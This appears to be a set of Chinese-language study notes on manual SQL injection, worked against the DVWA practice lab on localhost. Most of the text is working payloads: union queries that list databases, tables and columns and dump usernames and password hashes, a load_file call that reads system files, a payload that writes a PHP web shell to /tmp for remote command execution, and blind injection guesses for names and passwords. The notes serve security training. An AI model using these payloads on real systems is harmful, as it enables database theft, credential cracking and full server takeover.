手动挖掘sql漏洞
一。
输入 1 与 输入 '1 and '1'='1 (1' and '1)一样,表示猜测语法如下正确的:
select First_name and Surname from users where id=' 1' and '1'='1 '
select * from users where id=' 1' and '1'='1 '
select name from users where id=1
二。
表列数,几个字段
'order by 数字--空格 (--空格是注释的意思,后面就是注释内容)
eg: 'order by 2--+
三。(可以使用BurpSuite 的 repeater重复执行,或者浏览器的 Hackbar插件(+ 号等同于空格))
'union select 1,2--空格
1' union select user(),2--空格 (数字可以替换为数据库系统默认函数,来获取信息。)
’union select user(),version()--空格
’union select 1,database()--空格
' union select 1,@@datadir--空格 (全局函数)
' union select 1,@@hostname--+
?id='+union+select+1,@@version_compile_os--+ (用的浏览器的 Hackbar插件)
CHAR(97) 返回对应的字符为 a(数字转ASCII码函数)可以用此函数绕过一些校验过滤不严,编成ASCII来执行成功。
' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--空格 (将多个函数拼接成一个执行char(32(对
应ASCII是空格),58(对应ASCII是冒号),32)的意思是打印出来的 user()与database() 与version()的分隔符是 空格:空格 )
四。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('b')--+
&Submit=Submit# (对字符 b 进行 md5 校验计算哈希)
五。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id='+union+select database(),substring_index(user(),"@",1)--+
&Submit=Submit# (对user返回进行切割,只保留@前面的)
六。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select table_name,table_schema from information_schema.tables--+
&Submit=Submit# (从 原所有表中information_schema.tables 查mysql 所有的表名(table_name),数据库名(table_schema))
七。
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
&Submit=Submit# (只查 dvwa 库里的表名)
八。
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and
table_name='users'--+
&Submit=Submit# (查 dvwa 库 users表 的列)
九。
http://127.0.0.1/dvwa/vulnerabilities/sqli/
?id=' union select user,password from dvwa.users--+
&Submit=Submit# (从 dvwa 库 的 users表 查user列和password列的内容)
十。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select table_schema,count(*) from information_Schema.tables group by table_schema --+
&Submit=Submit# (按库(table_schema) 对表数量进行统计)
十一。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select user,password from users--+
&Submit=Submit# (从当前表中查找 user,password内容)
十二。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select null,concat(user,0x3a,password) from users--+
&Submit=Submit# (0x3a是冒号 分隔符)
得到密文密码,对密码进行解码(用工具或者在线破解都行),完成!!
(Linux下; 可以用 BurpSuite 的 Repeater ,修改id 之类要修改的参数, 点击 GO 执行 后看 render或其他)
十三。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select null,load_file('/etc/password')--+
&Submit=Submit# (读取 /etc/password 下的内容)
(Linux下)
十四。
http://127.0.0.1/DVWA/vulnerabilities/sqli/
?id=' union select null, "<?php passthru($_GET['cmd']);?>"INTO DUMPFILE"/tmp/a.php"--空格
&Submit=Submit# (再结合文件包含漏洞执行文件, ?page=/tmp/a.php&cmd=id)
(Linux下)
十五。
kali下 sudo 命令找(a.php)文件 sudo find / -name a.php
ls -l 查文件权限
sudo -i 到 root 权限
cat a.php 查看文件内容
ls -ld /tmp/ 这个目录下所有用户都有增删改查权限
cat /etc/password | grep mysql 查找与mysql账户先关的主目录
ps aux | grep mysql 查找mysql账户相关的服务进程
cat b.php | xxd -ps | tr -d '\n' 显示b.php 编码后的16进制内容。删除换行符(tr -d '\n')16进制小插件(xxd
)(16进制0x内容)
十六。
无权读取 information_schema 库 和 拒绝 union , order by语句的情况:
' and user is null--空格 ( 猜解列名 user是列名,用burpsuite工具加载字典跑,返回正常即存在)
' and table.user is null--空格 ( 猜解表名(table),已破解user列存在的)
' and DB.table.user is null--空格 ( 猜解库名(DB),已破解user列存在的,table表存在)
' and (select count(*) from table)>0--+ ( 猜解库里的其他表)
' and users.user is null--+ ( 列表对应关系)
' or user='admin' ( 猜字段的内容)
' or user like '%a% ( 猜字段的内容)
' or user='admin' and password='92892r00ffg8gvb87hv33f34' (猜账号对应的密码)